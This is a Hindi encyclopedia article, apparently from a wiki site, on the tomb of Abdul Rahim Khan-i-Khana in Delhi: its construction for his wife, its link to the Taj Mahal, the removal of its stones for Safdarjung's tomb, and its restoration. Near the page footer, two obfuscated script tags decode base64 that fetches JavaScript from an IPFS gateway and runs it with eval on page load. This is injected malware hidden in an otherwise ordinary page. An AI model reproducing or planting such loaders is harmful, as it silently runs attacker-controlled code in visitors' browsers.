एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "२"।

रहीम का मक़बरा  

रहीम का मक़बरा

रहीम का मक़बरा दिल्ली के निजामुद्दीन पूर्व में मथुरा मार्ग पर स्थित है। सन 1627 ई. में आगरा में मृत्यु के बाद रहीम को इस मक़बरे में बनी कब्र में दफनाया गया था। मुग़ल बादशाह हुमायूं के मक़बरे और सूफी संत हजरत निजामुद्दीन की दरगाह के नजदीक ग्रैंड ट्रंक रोड पर 16वीं सदी के अंत में इसे बनवाया गया था। इसे मुग़ल बादशाह अकबर के नवरत्नों में से एक अब्दुर्रहीम खान-ए-खाना ने अपनी बेगम की याद में बनवाया था। मुग़लसल्तनत में यह पहला निर्माण था, जिसे किसी ने अपनी बेगम के प्रेम में बनवाया था। लेकिन 18वीं सदी में इस दो मंजिला खूबसूरत मक़बरे से लाल बलुआ पत्थरों की खुदाई का काम शुरू हो गया। दिल्ली में सफदरजंग के मक़बरे के निर्माण के लिए इस मक़बरे के खूबसूरत व नक्काशीदार संगमरमर और बलुआ पत्थरों को निकाल लिया गया। तब से यह जगह उजाड़ खंडहर में तब्दील हो गई थी।

निर्माण

दिल्ली-मथुरा मार्ग पर स्थित रहीम के मक़बरे का निर्माण स्वयं रहीम ने ही करवाया था। रहीम श्रीकृष्ण के भक्त थे और मुग़लबादशाह अकबर व जहाँगीर के दरबारी नवरत्नों में भी शामिल थे। रहीम को उनकी बहुमुखी प्रतिभा के लिए जाना जाता था क्योंकि जितने बेहतरीन वे कलमकार थे, तलवार के जौहर में भी उससे कहीं भी कम नहीं थे। मुगलों ने तो कई युद्ध उनके ही नेतृत्व में जीते और अपनी इन्हीं विशेषताओं की वजह से वे मुग़लदरबार में विशेष स्थान रखते थे। उनकी महत्ता को देखते हुए ही उन्हें 'खान-ए-खाना' (खानों का खान) की उपाधि प्राप्त हुई थी।

रहीम अकबर के मुँह बोले बेटे थे। असल में रहीम के पिता बैरम ख़ाँ स्वयं भी मुग़ल सल्तनत के बड़े सेनापति थे। जब रहीम चार वर्ष के थे, तभी एक युद्ध में बैरम खान की मौत हो गयी और तब से उनके लालन-पोषण का जिम्मा अकबर ने अपने ऊपर ले लिया। हालाँकि अकबर की मृत्यु के बाद रहीम के लिए मुग़ल सल्तनत में कुछ ठीक न रहा क्योंकि जहाँगीर ने अपने बादशाह बनने का विरोध करने पर रहीम के दोनों बेटों को मरवा दिया था। ये मक़बरा उन्हीं खान-ए-खाना रहीम से सम्बंधित है।

ताजमहल की प्रेरणा

ताजमहल की प्रेरणा रहने वाला ये मक़बरा असल में रहीम ने सन 1598 में अपनी पत्नी माह बानो बेगम की मृत्यु पश्चात बनवाया था। प्रेम की बात आने पर लोग ताजमहल का जिक्र करते हैं, मगर ताजमहल से भी 50 साल पूर्व निर्मित ये मक़बरा ही मुग़ल काल का पहला ऐसा मक़बरा था जिसे किसी स्त्री को समर्पित किया गया था। हुमायूँ के मक़बरे का डिजाइन इसके व ताजमहल, दोनों के निर्माण की प्रेरणा रही और यदि इन तीनों मक़बरों को देखा जाये तो ये अनुमान लगाते देर नहीं लगेगी। वर्तमान में खान-ए-खाना मक़बरे के नाम से प्रसिद्ध इस मक़बरे से प्रेरित होकर ही शाहजहाँ ने अपनी पत्नी मुमताज महल की मृत्यु पर आगरा के ताजमहल का निर्माण करवाया था।

सफदरजंग मक़बरे में योगदान

माह बानो की मृत्यु के बाद रहीम ने इस क्षेत्र का चुनाव इसलिए किया क्योंकि मज़हबी मान्यताओं व हजरत निजामुद्दीन औलिया की दरगाह को देखते हुए इस पूरे क्षेत्र को बेहद पवित्र माना जाता था। सन 1598 में माह बानो को यहाँ दफ़नाने के बाद, 1627 में जब रहीम की मृत्यु हुई तो उन्हें भी इसी मक़बरे में दफ्न कर दिया गया और तभी से यह मक़बरा 'खान-ए-खाना रहीम का मक़बरा' के नाम से प्रसिद्ध है। इससे जुड़ा एक और तथ्य ये है कि इस मक़बरे ने दिल्ली में स्थित एक अन्य खूबसूरत मक़बरे 'सफदरजंग का मक़बरा' के निर्माण में भी अपना योगदान दिया है। खान-ए-खाना मक़बरे के निर्माण के लगभग 150 साल बाद जब अवध के नवाब अबुल मसूर मिर्जा अली खान उर्फ सफदरजंग के मक़बरे का निर्माण करवाया जा रहा था, तब वहाँ लाल बलुए पत्थरों की कमी पड़ गयी और तब सफदरजंग के पुत्र सौजुदुल्लाह खान के आदेश पर रहीम के मक़बरे पर लगे पत्थरों को उखाड़कर ले जाया गया था। आज रहीम का मक़बरा अपने अस्तित्व को ले संघर्ष कर रहा है, और कभी इस पर लगे पत्थर आज सफदरजंग के मक़बरे की शोभा बढ़ा रहे हैं।

जीर्णोद्धार कार्य

कभी बेहद खूबसूरत रहे रहीम के मक़बरे का ध्यान नहीं रखा गया। लगातार होते नुकसान, बाढ़ की वजह से ये इतनी बुरी स्थिति में था कि सबको लगा ये कुछेक वर्षों के अंदर टूटकर गिर पड़ेगा। ऐसे में संस्कृति मंत्रालय ने आगा खान ट्रस्ट को जिम्मेदारी दी इसका पुनरूद्धार करने की। वर्ष 2014 से ही ये ट्रस्ट लगातार इसे ठीक करने के काम में लगा हुआ था। ये अब पहले से काफी बेहतर है। कम-से-कम ये अब गिरने की स्थिति में तो नहीं है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

"https://amp.bharatdiscovery.org/w/index.php?title=रहीम_का_मक़बरा&oldid=662503" से लिया गया